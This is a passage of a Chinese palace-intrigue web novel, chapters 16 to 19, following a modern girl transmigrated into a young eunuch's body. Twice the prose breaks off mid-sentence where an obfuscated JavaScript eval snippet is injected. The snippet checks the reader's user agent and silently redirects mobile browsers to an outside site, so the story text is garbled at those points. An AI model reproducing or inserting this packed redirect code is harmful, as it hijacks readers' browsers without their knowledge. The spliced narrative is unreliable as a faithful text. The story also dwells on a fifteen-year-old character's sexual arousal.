关禧系衣带的手指收紧,骨节发白。他强迫自己继续手上的动作,又去拿木架上的旧外袍,声音竭力平稳:“哥哥说笑了,我只是身上汗湿难受,怕失了规矩。比不得哥哥们为宫里事务操劳。” “规矩?”吊梢眼嗤笑,目光扫过关禧放在木架上的那套干净旧衣,又踢了踢地上的木盆,哐当一声,“沐房什么时辰下钥,什么时辰没热水,你不清楚?这时候跑来瞎折腾,是显摆你爱干净呢,还是心里有鬼,急着洗掉什么?”他目光下移,意有所指地瞟向关禧的下身,“还是说……身上那点与众不同,怕捂出味儿来,招人嫌?连换洗衣服都带上了,准备得挺周全啊。” 这话已是极尽侮辱。关禧猛地抬起头,眼神在昏暗的光线中骤然变得锐利,像淬了冰的刀子,直直刺向吊梢眼。那一瞬间,他身上那股刻意收敛,属于关禧的冷意泄露了出来。 吊梢眼被他眼中寒意慑得心头一慌,下意识退了小半步。 但那厉色转瞬即逝。关禧垂下眼帘,弯腰扶正木盆,声音低哑:“是我疏忽时辰,扰了哥哥们清净,我这就走。”他快速套上旧外袍,也顾不上系整齐,端起木盆,抓起湿布巾和换下的脏衣,侧身想从两人之间挤过去。 “慢着!”吊梢眼回过神来,自觉刚才被那一眼吓退有些丢脸,伸手就想拦住他。 恰在此时,门口传来苍老的声音:“都聚在这儿吵吵什么?沐房是让你们嚼舌根、生事端的地方吗?!” 众人循声望去,只见一个穿着深灰色管事太监服,头发花白的老太监拄着根拐杖,站在门口,正是负责承华宫后院庶务,兼管下人规矩的吴公公,吴明。他眼神扫过屋内,在关禧和吊梢眼几人身上停顿了一下。 吊梢眼和雀斑太监立刻收敛了气焰,躬身行礼:“吴公公。” 关禧也连忙放下木盆行礼:“吴公公。” 吴明哼了一声,拄着拐杖走进来,目光落在关禧还潮湿的头发和手中湿布巾上,又看了看吊梢眼两人一身的尘土,心中明了七八分,“差事辛苦,回来洗漱歇息是天经地义。但也要分个时候,懂个规矩!再有人敢在沐房喧哗生事,不管是谁,一律按宫规处置!” “是,公公。”众人齐声应道。 吴明又看了关禧一眼,语气稍缓:“洗完了就赶紧回去歇着,明日还有差事。” “谢公公,小的这就回去。”关禧如蒙大赦,端起木盆,低着头,快步从吴明身边走过,出了沐房。 17. 第 17 章 承华宫的下人居住区位于宫殿后部,是一片相对拥挤的院落。与关禧那间位于僻静角落,虽小却单独隔开的厢房不同,这里多是排房或大通铺。太监和宫女分住不同的院落,之间有矮墙相隔,但并非完全隔绝,中间有供杂役通行的狭窄巷道相连。 关禧要从沐房返回自己的小屋,必须穿过这片区域。白日里尚且人来人往,此刻夜色已深,各房门口只余下悬挂的气死风灯投下摇晃昏黄的光晕,将重重叠叠的门窗影子拉得诡异。大多数屋子都已熄了灯,寂静中只闻虫鸣唧唧,以及远处宫墙上传来的更梆声。 他低着头,尽量放轻脚步,经过一排显然是低等宫女居住的排房时,一扇并未完全关严的窗户里,传出了极其压抑的声响。 关禧起初并未在意,以为是有人在睡梦中翻身或呓语。他脚步未停,那声音却断断续续,似有若无地钻进耳朵里。 不是一个人的声音……是两个。 一个带着细微的泣音,像是呜咽,又像是极力忍耐着什么痛苦。另一个则粗重些。 “唔……轻点……外面……” “怕什么……都睡了……心肝儿……” 关禧的脚步猛地钉在了原地,抱着木盆的手臂僵硬。 他十七岁来自现代的灵魂,哪怕在学业压力下对情爱之事懵懂,但信息爆炸的时代,谁还没看过几部电视剧,读过几本小说?那些隐晦的描写,暧昧的画面,以及“对食”,“菜户”之类的宫闹秘辛词汇,在他脑海中炸开。 这是,对食? 宫女和太监,在这深宫寂寞里,结成假夫妻,互相慰藉? 他知道有这种事,在小说里,在野史中。可当这活生生隔着薄薄一扇窗,在寂静深夜里传来的声响撞人耳中时,那冲击力完全不是文字或想象可以比拟。 那窗内的声响还在继续,压抑而暖昧,在这死寂的夜里显得格外清晰,甚至能隐约听到床板轻微有节奏的吱呀声。 关禧脑子里一片混乱。他不知道自己该立刻走开,还是该假装什么都没听见。身体像是被施了定身咒,脚下生了根,耳朵不受控制地捕捉着每一个细微的动静,脸颊烫得惊人。 就在他心神震荡,没留意周遭环境时,一道身影,悄无声息地从他身后另一条更暗的巷道里转了出来,停在了离他几步远的地方。 月光被云层遮掩,只有远处廊下气死风灯的一点微光勉强勾勒出来人的轮廓,穿着承华宫高等宫女制式的淡青色比甲,身姿纤细,手里还提着一个小小的食盒。 正是青黛。 她显然也听到了那窗内传出的,在寂静中无所遁形的声响,目光先是扫过那扇未关严的窗户,眼神平静无波,仿佛只是看见一件再平常不过的事物。然后,她的视线落在了僵立在前方,背对着她,抱着木盆,低着头的关禧身上。 青黛的目光在关禧贴在颈后湿漉漉的发梢上停留了一瞬,又滑过他微微发颤的肩膀和那对在昏暗光线下依然泛着可疑红色的耳尖,她提着食盒的手指,轻轻动了一下。 窗内那令人面红耳赤的动静似乎到了紧要关头,一声似痛苦似欢愉的闷哼之后,渐渐归于沉寂。 关禧一个激灵,从那种被雷劈中的状态里回过神来,意识到自己在这里站了太久,听到的也太多。他慌乱地想要迈步离开,却因为心神不宁,脚下被不平的石板一绊,怀里的木盆差点脱手,发出“哐当”一声不大不小的脆响。 “谁?!”窗内立刻传来一声惊惶的低喝,带着被撞破的恐惧。 关禧心脏骤停,冷汗湿透了后背。 随即,一个清冷平静的声音,从他身后响了起来,不高不低,却足以让窗内的人听得清清楚楚: “是我,青黛。路过。夜深了,仔细惊着旁人。” 窗内瞬间死寂。 青黛缓步上前,走到了关禧身侧,望着那扇此刻紧紧闭拢,再无一丝声息的窗户,语气还是那种听不出情绪的平稳:“承华宫的规矩,是让你们守的,不是让你们钻空子、行饽逆之事的。今晚之事,我只当没听见。若再有下次,或是传出去半个字……你们知道后果。” 窗内传来极其微弱应和声:“是,青黛姐姐,谢、谢姐姐开恩……” 青黛不再理会,这才转过头,看向身旁连脖颈都泛着红的关禧,目光从关禧通红的脸颊,移到他微微颤抖的睫毛,再落到他死死攥着木盆边缘,指节发白的手指上。 “吓着了?”青黛的声音忽然放得极轻,与她方才训斥窗内人的冰冷截然不同。 关禧喉咙干涩,张了张嘴,却发不出声音,只能胡乱地摇了摇头,又立刻低下头,恨不得把脸埋进木盆里。 青黛看着他这副着窘无措,与平日里那份刻意伪装的沉静恭顺全然不同的模样,没再说什么,提起手中的小食盒,在关禧眼前轻轻晃了晃。 “娘娘晚膳用得少,吩咐小厨房做了些杏仁酪。我正要去送。”她顿了顿,语气恢复如常,“夜深露重,你也赶紧回去擦干头发,当心着凉。明日……还有差事。” 说完,她不再停留,提着食盒,步履从容地朝着冯媛寝殿的方向走去,淡青色的身影很快融入更深的夜色里,仿佛刚才的一切都未曾发生。 直到青黛的脚步声彻底消失,关禧才像被抽干了力气般,抱着木盆,靠在粗糙的墙壁上。 脸颊上的热度还未退去,方才听到的那些声音,青黛突然出现带来的惊吓,以及她最后那意味不明的语气和眼神……所有一切都搅在一起,让他心乱如麻。 他回头,心有余悸地看了一眼那扇紧闭的窗户,又望了望青黛消失的方向。 这深宫,果然没有一刻是真正平静的。 * 关禧回到了自己那间小小的厢房。 他反手闩上门,背靠着木门板,环顾这间屋子,目光落在门后一个半旧的藤编篓子上。那是他来承华宫后,青黛让人一并送来的,用于存放待洗衣物。 每日清晨,会有负责浆洗的粗使太监统一来收取,洗净晾干后再送回来。 他默默走过去,将脏衣服团了团,塞进篓子里。动作间,指尖触碰到潮湿冰凉的布料,又像是被烫到般缩了回来。这具身体,这些衣物,连同这屋子里的一切,都在无时无刻不提醒着他荒诞的处境。 脱下来的那身旧衣裤,因为只是用湿布巾简单擦拭后换上,倒不算太脏,但沾了沐房地上的水渍和湿气。他犹豫了一下,还是将它们搭在了床尾的木架子上,准备明日自己用清水稍微搓洗一下。在宫中,哪怕是低等太监,保持最基本的整洁也是规矩,何况他现在身处承华宫,不知多少双眼睛在暗中盯着。 做完这些,他才觉得身上那阵黏腻不适稍微缓解,走到墙角的水缸边,用剩下的干净冷水胡乱抹了把脸。 吹熄了桌上那盏如豆的油灯,屋内彻底陷入黑暗。只有清冷的月光透过窗纸,在地上投下方方正正的一片惨白。 关禧躺在那张硬邦邦的木板床上,身下是薄薄的褥子,他睁着眼,望着头顶那片吞噬一切光线的浓黑,思绪不由自主地飘到了自己这具身体上。 小离子。十五岁。被王公公挑中,记了名,半割之身……一张足够惹祸的脸。 王公公那样的老狐狸,把他从净舍弄到派办处,再大方地让给冯昭仪,真的只是看他伶俐,有用吗?冯昭仪又为何会接受?她协理六宫,身边会缺一个整理文书的小太监?青黛那若有若无的打量和那句“排解寂寞”…… 一个被皇帝点名留意过的,半割的,容貌出众的小太监,就这样被送进了协理六宫的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892388|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭仪宫里。这背后,仅仅是冯昭仪需要一把好用的刀,或者青黛一时兴起的兴趣吗?会不会……也是一种更为隐晦的试探,或者布局?把他放在承华宫,是不是也在某种程度上,暂时隔断了他直接被皇帝召见的可能?冯昭仪是在……保护她自己的某种计划,还是把他当成了另一枚可以用于制衡或交易的棋子? 越想,越觉得寒意刺骨。他在这盘棋局里,连个卒子都算不上,顶多是棋盘边随时可能被拂落的灰尘。 还有这身体……十五岁。正是发育的年纪。虽然经历了去势重创,但半割的手术意味着某些功能并未完全丧失,只是被强行扭曲和压抑了。原主小离子或许因为贫病交加,发育迟缓,意识懵懂。可他关禧的灵魂住进来后,营养逐渐跟上,伤势好转,这具少年躯体本能的生机正在复苏。 今晚在沐房,吊梢眼那些下流话固然可恨,却像一根刺,扎破了他一直刻意回避的认知。窗后那些声音……对他这个十七岁,心理性别为女,却困在男性身体里的灵魂造成的冲击,是复杂的。恶心,羞耻,恐惧……但不可否认,那声音里生物性的悸动,似乎也隐隐勾动了这具身体深处某种陌生的本能。 他厌恶这种感觉,比厌恶这具身体本身更甚。 困意终于在纷乱思绪的间隙袭来,像潮水般淹没了他紧绷的神经。 意识逐渐模糊,沉入黑暗。 …… 混沌中,感官却变得敏锐起来。 鼻尖似乎萦绕着一种清雅的香气,像是冯昭仪书斋里的檀香,又混合了一丝女子身上特有的甜暖。视线里,有一只纤细白皙的手,指尖染着淡淡健康的粉色,正缓缓拂过书页,那指尖仿佛带着微弱的电流,所过之处,连空气都微微酥麻。 画面一转,是浴堂氤氲的水汽。汉白玉的池壁光滑冰凉,水面晃动着破碎的月光。有人影靠近,带着股混合着皂角与女子体香的气息。看不清脸,只有淡青色的衣角,在水汽中轻轻摇曳。一只手,带着温暖的湿意,抚上他的脖颈,指尖流连于锁骨凹陷处…… 呼吸不由自主地急促起来。 仿佛有什么东西,挣脱了束缚,在昏暗中悄然抬头…… “不……!” 关禧猛地从床上弹坐起来,心脏狂跳得像要炸开胸膛,额头上全是冷汗,他急促地喘息着,黑暗中,茫然又惊恐地低头看向自己的下身。 怎么会,怎么可以…… 这具身体竟然……对着那样的梦境,有了反应? 虽然早知半割意味着什么,虽然青黛的话里话外也暗示过,虽然今晚听到那些声音……可当这一切以如此直接,如此生理性的方式呈现出来时,关禧只觉得灵魂都被撕裂了。 他是关禧,是个女生,哪怕身体不是,灵魂也是,可现在这算什么?这具男性的身体,竟然会对另一个女性,哪怕是梦境中模糊的影子,产生这种下流的反应?! 恶心!太恶心了! 他掀开薄被,跳下床,甚至顾不上穿鞋,光着脚冲到墙角的水缸边,用冰冷的存水狠狠泼在自己脸上,脖子上。冰凉的温度刺激着皮肤,却丝毫无法浇灭心底那团灼烧的火焰和翻涌的恶心感。 他撑着缸沿,低下头,剧烈地干呕起来。 为什么……为什么要让他遭遇这一切?穿越成太监还不够,还要承受这种灵魂与身体极端错位的酷刑? 不知过了多久,颤抖才稍稍平息。 他脱力地靠着墙壁滑坐在地上,眼神空洞地望着地面那片模糊的月光。 下身那恼人的反应,在冷水和情绪冲击下,终于缓缓消退,留下一种空虚的钝痛。 他抬起手,看着自己这双属于小离子骨节分明的手,第一次如此清晰地认识到:逃离这具身体,或许比逃离这座皇宫更难。 18. 第 18 章 晨光熹微,尚未穿透承华宫精致的窗棂,一阵急促的脚步声便在廊下响起,打破了黎明前最后的寂静。 关禧几乎一夜未眠,眼底带着淡淡的青黑,正对着水盆里模糊的倒影,将最后一丝纷乱的鬓发抿入帽中,也努力将注意力集中在今日可能要处理的文书上,青黛昨日吩咐了,要找出陛下万寿节相关的旧例。 可门外不同寻常的动静让他动作一顿。 是陈立德尖细的嗓音,压得极低:“青黛姑娘。出事了,长春宫那边,李婕妤被人告发了。” “吱呀”一声,似乎是青黛的房门被迅速拉开。 关禧的心猛地一跳。长春宫,那个在炭火记录中份例都领不足,畏烟体弱的李婕妤?那个被冯昭仪特意嘱咐要留意用度记录的长春宫? “仔细说,慌什么。”青黛的声音响起,比陈立德平稳得多。 “是皇后娘娘身边的海棠姑姑,天还没亮透就带着人直奔了长春宫,说是……说是接到了密告,李婕妤秽乱宫闱,与侍卫私通!”陈立德的声音抖得厉害,不知是怕还是激动,“人……人据说当场就按住了!那侍卫被打得半死拖去了慎刑司,李婕妤被拘在长春宫正殿,皇后娘娘已经动身过去了,传了协理宫务的娘娘……咱们娘娘得立刻过去!” 私通! 这两个字像惊雷一样在关禧耳边炸开。昨晚那扇窗户后令他面红耳赤又心惊胆战的声响,与此刻陈立德口中这血淋淋的宫廷重罪重叠。只是昨夜那或许是底层宫人无奈而隐秘的慰藉,今日这,却是足以让一位妃嫔,哪怕是最不得宠的妃嫔,万劫不复的滔天大祸。 他下意识地屏住呼吸,耳朵紧紧贴在门板上。 外面静默了一瞬,只有陈立德粗重的喘息。然后,青黛的声音再度响起,恢复了那种滴水不漏的平静:“知道了。你且去准备娘娘的舆驾,要快,但不可张扬。我这就去禀报娘娘。” 脚步声匆匆离去。 关禧退后两步,心脏在胸腔里擂鼓。李婕妤私通被告发……是确有其事,还是构陷?冯昭仪之前让他留意长春宫的用度,是否早就察觉了什么?皇后亲自出手,协理宫务的妃嫔都要到场…… 他该做什么?青黛没有叫他,他只能在这里等着。冯昭仪会带谁去?青黛必然随行,陈立德估计也要跟着伺候……那他呢?这种场合,以他的身份,恐怕连靠近长春宫正殿的资格都没有。 果然,没过多久,青黛的脚步声停在了他的门外,轻轻叩了两下。 关禧立刻打开门,垂首肃立:“青黛姐姐。” 青黛已经换上了一身更为庄重的靛青色宫装,头发梳得一丝不苟,脸上薄施脂粉,遮掩了可能因早起而有的些许疲惫,她快速打量了关禧一眼,见他虽眼底有些青影,但衣着整齐,神色尚算镇定,便言简意赅地吩咐:“娘娘要去长春宫。你跟着,守在殿外廊下候着,机灵些,留意来往人等,但切记,不准听,不准问,不准多看一眼。若有吩咐,自会有人传你。” “是,奴才明白。”关禧压下心中翻腾的念头,恭敬应道。 冯媛很快便出来了。她今日的打扮与去御花园时截然不同,穿着一身雨过天青色缂丝宫装,外罩同色比甲,头上挽着端庄的牡丹髻,正中插一支赤金点翠凤凰衔珠步摇,两侧各簪一朵新鲜的淡紫色兰草,耳垂上坠着东海珍珠,通身气度沉静雍容,她扶住青黛伸过来的手,并未多看关禧一眼,只道:“走吧。” 陈立德早已备好了一顶四人抬的便轿,轿帘是厚重的深青色,遮得严严实实。冯媛上了轿,青黛随行在侧,陈立德在前引路,关禧和另外两个抬着备用物品的小太监默默跟在最后。 天色尚未大亮,晨雾如纱,弥漫在重重宫阙之间。宫道两侧高耸的朱墙被雾气濡湿,颜色显得愈发暗沉压抑。路上寂静得可怕,只有轿夫轻微而规律的脚步声和轿杆吱呀的轻响,偶尔遇到其他方向匆匆赶去的舆驾或步行疾走的宫人,彼此也只是极快地对视一眼,便迅速错开,无人交谈,空气中弥漫着一股山雨欲来的沉闷。 越靠近长春宫,这种压抑感就越发浓重。长春宫位置本就偏僻,此时宫门内外却站满了穿着不同服色、来自各宫各司的太监和宫女,以及一队队腰佩刀剑,神情肃穆的侍卫。所有人都敛声屏气,连呼吸都放得极轻。 冯媛的轿子在宫门外停下。她扶着青黛的手下了轿,陈立德立刻上前向守门的皇后宫中太监通报。 那太监显然认得冯媛,躬身行礼后,侧身让开一条道,低声道:“昭仪娘娘请,皇后娘娘和其他几位娘娘已在正殿了。” 冯媛微微颔首,步履沉稳地走了进去。青黛紧随其后。 陈立德对关禧和另外两个小太监使了个眼色,三人立刻乖觉地退到宫门侧方一处不引人注目的廊檐下,垂首肃立。这里离正殿尚有数十步距离,中间隔着庭院和几道回廊,只能隐约看到正殿紧闭的雕花大门,以及门两侧站立的宫女太监。 关禧低着头,目光却谨慎地扫视着周围。长春宫的庭院比承华宫小了许多,也朴素得多,草木也少了精心打理,显得有些萧条。此刻,院子里站满了人,除了皇后和几位高位妃嫔带来的随从,还有长春宫原有的宫人,他们个个面如土色,跪在院子角落,身体抖得像风中的落叶。 空气中,除了清晨的湿冷,还隐隐飘来一丝若有若无的,甜腻过了头的脂粉香气,以及……另一种更沉,更浊,像是陈旧木头混合着灰尘的味道。 等待的时间格外漫长。关禧能听到自己心脏在胸腔里沉闷的跳动声。正殿内隐约有说话声传来,听不真切,但偶尔拔高的女声尖锐地刺破寂静,又迅速被压低下去。那应该是皇后在问话,或者是……哪位激动的妃嫔? 他看到了徐昭容的步辇也停在了外面,徐宛白被宫女搀扶着,昂着头,快步走了进去。她也来了……以她爱看热闹又唯恐天下不乱的性子,自然不会错过。 不知过了多久,正殿的门“吱呀”一声开了。 先出来的是两个穿着赭色太监服,身材高大的太监,面无表情,一左一右架着一个穿着低级侍卫服饰,浑身是血,几乎不成人形的男子。那男子的头无力地垂着,双手被反剪绑在身后,衣袍破碎,裸露的皮肤上布满鞭痕和污渍,被拖行过处,在清扫过的青石板上留下几道暗红的,断续的痕迹。他被粗暴地拖向宫外,方向显然是慎刑司。 围观的宫人们纷纷低下头,不敢直视。 紧接着,几个皇后宫中的嬷嬷和太监,半扶半拖着一个女子走了出来。 那女子穿着藕荷色的宫装,头发散乱,簪环尽去,脸上脂粉被泪水冲花,露出底下过分苍白憔悴的皮肤。她似乎想挣扎,嘴唇翕动着,却发不出完整的声音,只有喉咙里破碎的呜咽。正是李婕妤。与关禧想象中不同,她不是什么绝色美人,甚至算不得多秀丽,只是眉眼间依稀能看出几分曾经的温婉。 她被带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892389|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往与那侍卫相反的方向,那是冷宫,或者更糟的地方。 李婕妤被拖过庭院时,目光涣散地扫过跪在地上的长春宫宫人,扫过周围那些或麻木,或怜悯,或幸灾乐祸的脸。忽然,她的视线定在了正殿门口某个方向,瞳孔骤缩,像是看到了什么极端可怖的东西,喉咙里发出一声凄厉的尖叫:“是你——!徐宛白!你不得好——” “啪!” 一声清脆的耳光打断了她未完的诅咒。一个皇后身边的嬷嬷眼疾手快,狠狠一巴掌扇在她脸上,力道之大,让李婕妤的头猛地偏向一边,嘴角立刻渗出血丝,人也彻底瘫软下去,被迅速拖走。 那声戛然而止的尖叫,像冰冷的刀子,划过每个人的耳膜。 关禧感到一股寒意从脊椎骨窜起。徐宛白?李婕妤最后喊的是徐宛白,是徐昭容告发了她?还是……李婕妤在绝望下的胡乱攀咬? 正殿内,地位最高的几位终于现身了。 率先走出的是一位身着明黄色凤穿牡丹宫装,头戴九龙九凤冠的女人。她约莫二十三四岁年纪,容貌端庄大气,只是脸色有些过于苍白,唇色也淡,眼底有淡淡的倦色。 正是皇后,柳氏,柳心溪。 紧随柳心溪之后的是冯媛。她神色平静,仿佛刚才殿内发生的一切都与她无关,只是细心地稍稍落后皇后半步,保持着恰到好处的恭敬。 接着是徐宛白。她脸上犹带着一丝未能完全掩饰的得意和畅快,眼波流转间,有意无意地扫过冯媛沉静的侧脸,又飞快地瞥了一眼李婕妤被拖走的方向,嘴角勾起一抹冰冷的弧度。 还有其他位份较高的妃嫔,面色各异,或凝重,或漠然,或带着兔死狐悲的隐忧。 柳心溪在殿前台阶上站定,目光缓缓扫过庭院中跪伏的众人,声音不高,却带着不容置疑的威严,清晰地传入每个人耳中:“婕妤李氏,德行有亏,秽乱宫闱,证据确凿。即日起,褫夺封号,废为庶人,打入冷宫,非诏不得出。长春宫一应宫人,疏于职守,监管不力,全部发配浣衣局或苦役司,以儆效尤。此事,乃后宫之耻,望尔等引以为戒,谨守本分,恪守宫规。若再有此等败德丧行之事,严惩不贷。” 说完,她不再停留,扶着身边大宫女的手,上了自己的凤辇。 冯媛等人亦各自行礼,登上步辇或便轿,准备离开。 关禧低着头,随着陈立德的示意,准备跟上冯媛的轿子。就在他转身的刹那,眼角的余光似乎瞥见,徐宛白在上轿前,又回头望了一眼长春宫那扇已然变得死寂的宫门,脸上那抹冰冷的笑意更深了些。而跟在她身后,眉眼间带着几分傲气的大宫女,飞快地与跪在角落里的一个长春宫宫女交换了一个眼神。 那眼神快得如同错觉。 冯媛的轿子起行了。关禧迈着有些僵硬的步子跟上。 轿帘低垂,隔绝了外界。冯媛靠在轿中柔软的垫子上,闭着眼,指尖无意识地在袖中一枚温润的羊脂玉佩上轻轻摩挲。青黛随行在轿侧,目不斜视。 直到轿子走出很远,冯媛才缓缓睁开眼,眸中一片清明冷静,全无半分在长春宫时的疏离倦怠。她对着轿帘外,用只有近处青黛能听到的声音吩咐: “去查查,李婕妤身边那个叫春杏的宫女,家里最近是不是突然宽裕了。还有,徐昭容宫里这两个月,有没有新添什么……手脚特别灵便的洒扫太监。” 青黛极轻微地点了一下头:“是,娘娘。” 19.第 19 章 夜深了,承华宫主殿的寝宫深处,比外间更显幽静。重重纱幔低垂,滤去了外界最后一点喧嚣,只余下烛火在鎏金灯台上静谧燃烧时,偶尔发出的轻微哔剥声。 寝殿侧后的浴堂,此刻被温暖湿润的水汽充盈。一方以整块汉白玉凿成的浴池,四壁浮雕着精致的莲叶游鱼图案,池沿宽阔。热气袅袅,从微烫的池水中蒸腾而上,将空气染上朦胧的暖意,也混合了池中特意洒入清雅安神的柏子与梅花混合的干花香料气味,馥郁而不甜腻。 冯媛已然褪去了白日那身庄重的雨过天青色宫装,只着一件素白柔软的绸缎浴袍,长发如瀑般松散下来,披在身后。她赤足站在池边铺着的柔软吸水的棉毯上,任由青黛为她解开浴袍系带。 青黛的动作熟练,淡青色的宫女比甲早已脱下,只穿着便于动作的浅色中衣,袖口挽至肘部,露出一截莹白如玉的小臂。她神色专注,眉眼低垂,长长的睫毛在氤氲水汽中沾染了细微的湿意,愈发显得乌黑浓密。 “娘娘,水温可还合适?”青黛试了试水温,轻声问道。 “嗯,正好。”冯媛应了一声,扶着青黛稳稳递过来的手,缓缓步入池中。温热的水流逐渐漫过脚踝,小腿,腰际,最终包裹至肩颈。她舒适地喟叹一声,向后靠坐在池壁特意打磨圆滑的凹陷处,闭上眼,任由连日来的疲惫和今日长春宫带来的沉郁气息,都在这一池温水中缓缓溶解。 青黛也褪去鞋袜,仅着中衣踏入池中一侧稍浅处,拿起一块细软的棉布巾,浸湿了,动作轻柔地为冯媛擦拭肩背。她的手指力道适中,隔着湿热的布巾,能感受到冯媛肩颈处因为长时间端坐或思虑而微微僵硬的肌肉。 浴堂内一时只闻水波轻漾的声响。 良久,冯媛才睁开眼,眸中映着摇曳的烛光和水汽,显得比平日更柔和,也更深邃,“今日之事,你怎么看?” 青黛手上动作未停,声音平稳:“李婕妤咎由自取,证据确凿,皇后娘娘处置得宜。”她略顿了顿,“只是……那声徐宛白,喊得蹊跷。” “是啊,蹊跷。”冯媛抬手,撩起一捧温水,看着晶莹的水珠从指缝间滑落,重新汇入池中,“李氏胆小怯懦,若非被逼到绝境,或是恨极了,断不敢在那种场合直呼徐昭容名讳,还口出诅咒。” “奴婢已着人暗中去查春杏和玉芙宫新进的洒扫太监了。”青黛低声道,“只是徐昭容行事向来张扬,若真是她……怕是尾巴也扫得干净。” “无妨。”冯媛淡淡一笑,那笑意未达眼底,“她越是想扫干净,有时反而会留下更清晰的痕迹。不急,慢慢看。” 话题似乎告一段落。青黛换了块布巾,开始为冯媛清洗长发。她将冯媛浓密乌黑的长发拢在掌心,指尖蘸了散发着淡淡兰草清香的澡豆膏子,细细揉搓。动作间,两人靠得极近,水汽模糊了界限,唯有亲密在无声流淌。 冯媛重新闭上眼,享受着青黛妥帖的服侍。又过了一会儿,她忽然开口,语气随意得像是在讨论池边香炉里该换什么香: “青黛,你似乎对那个新来的小离子,颇为上心?” 青黛揉搓发丝的手指几不可察地微微一顿,随即又恢复如常,力道均匀。她没有立刻回答,仔细地将冯媛长发上的泡沫冲洗干净,用干布巾包好吸去多余水分,这才轻声应道:“娘娘说笑了。奴婢只是见他办事还算细致,记性也好,在文书上能帮衬一二。况且……他是王公公送来的人,奴婢多留意些,也是分内之事。” 冯媛唇角勾起一抹极淡的弧度,像是看穿了什么,又像只是随口一提:“只是这样?我瞧着他模样生得,确实过于出挑了些。王元宝那老货,当初挑中他,打的什么主意,你我都清楚。他能这么大方把人送来,除了你几次三番在我面前说他堪用,恐怕也存了别的心思。” 青黛沉默了片刻,拿起一旁温着的,用茉莉花和茶籽浸泡过的清水,缓缓淋在冯媛发尾。水声潺潺,氤氲的热气模糊了她低垂的眉眼。 “奴婢确实觉得他有些不同。不止是皮相。他眼里有股劲儿,不是寻常小太监那种认命或谄媚的劲儿,倒像像石缝里拼命想往外钻的草芽子,看着弱,根却扎得死紧。而且,他识字,懂数,心思细得不像这个年纪该有的。” “哦?评价这么高?”冯媛偏头,水光映照下,侧脸线条优美柔和,眼神带着一丝探究,“所以,你就借着核对文书的由头,把人要了过来?还是说……我们青黛姐姐,在这深宫寂寂长夜里,也终于想找个模样顺眼、心思灵巧的人,说说话,解解闷?” 这话已带上了明显的调侃,也透着一丝认真的询问。她们主仆多年,相伴从潜邸到深宫,经历了不知多少风浪,彼此之间早超越了简单的主仆情分。有些话,旁人问不得,冯媛却问得自然。 青黛的脸颊在蒸腾热气中,泛起了些许红晕,不知是热的,还是别的缘故。她停下手中动作,抬眼看向冯媛,难得显出一丝赧然,但很快又恢复了平素的沉稳,声音低柔: “娘娘,奴婢承认,是存了点私心。他长得确实好。但奴婢更看重他那份不甘和灵性。这宫里,多的是浑浑噩噩或汲汲营营之人,像他这样的,少见。放在眼皮子底下,用得好,或许真是一把得力的刀子;用不好,或起了别的心思……也翻不出什么浪来。” 她顿了顿,补充道:“至于王公公那边,他既把人送来了,短期内应不会再生事端。况且,人在承华宫,怎么用,用不用,何时用,还不是娘娘说了算?总比放在外面,不知何时就被推到了御前,平白惹出麻烦要强。” 冯媛静静地听着,末了,轻轻“嗯”了一声,不置可否,重新靠回池壁,闭上眼,沉浸在了温热池水带来的舒适中。 就在青黛以为这个话题已经结束时,冯媛的声音又淡淡响起,带着一丝几不可闻的叹息:“青黛,你跟了我这些年,最是清楚这宫里的日子。有些念头,起了便起了,无妨。只是……要拿捏好分寸。莫要伤了自己,也别……误了正事。” 这话说得含蓄,却重若千钧。既是提醒,也是默许,更是一种保护。 青黛深深低下头:“奴婢明白。谢娘娘体恤。” 冯媛不再言语,只抬手示意了一下肩膀。青黛会意,重新拿起布巾,力道适中地为她按摩肩颈。 浴堂内重归宁静。 至于那个被她们谈论的关禧,此刻正独自待在他那间清冷的小屋里,桌上摊开着一张不知从哪个废弃书斋角落里翻出来的,边缘有些破损的棋盘,格子刻得深浅不一。旁边两个粗糙的陶碗,一个里面盛着白子,是些颜色灰白,形状不规则的碎石片磨的;另一个里面是黑子,看起来像是某种深色陶土烧制后敲碎的,大小也不均匀。 这是白天他去书斋后面的库房,帮着青黛找一批旧年礼单时,在角落落满灰尘的箱笼里瞥见的。大约是前朝哪位不得志的太监或宫女遗下的消遣玩意儿,早已无人问津。鬼使神差地,他当时就悄悄揣了回来。 围棋?他不会。他一个十七岁的高中生,课余时间被试卷和习题塞满,顶多看过几眼电视上的围棋比赛,认得那是黑子白子,晓得气和眼的大概意思,真要下,规则都摸不全。 可他会下五子棋。 那是他高中课间,和同桌女生偷偷在草稿纸网格上画的,用不同的笔迹代表黑白,简单,直接,连成五子就算赢,有时候自习课太闷,她们能低头厮杀好几盘,输了的请喝奶茶。 灯光如豆,昏黄地照亮棋盘一角。关禧拿起一粒粗糙的黑子,在纵横十九道的棋盘上,犹豫了一下,落在了正中央的天元位。纯粹是觉得,下五子棋,先手占中间好像比较有利。 然后他换到对面坐下,拿起一粒白子,放在黑子斜上方一步。自己跟自己下。 落子的声音很轻,“嗒”、“嗒”,在寂静的夜里格外清晰。他的手指捻着那些粗砺的棋子,触感陌生。没有光滑的塑料棋子,没有画满网格的草稿纸,没有同桌压低声音的抱怨和偷偷张望教室后门的紧张。 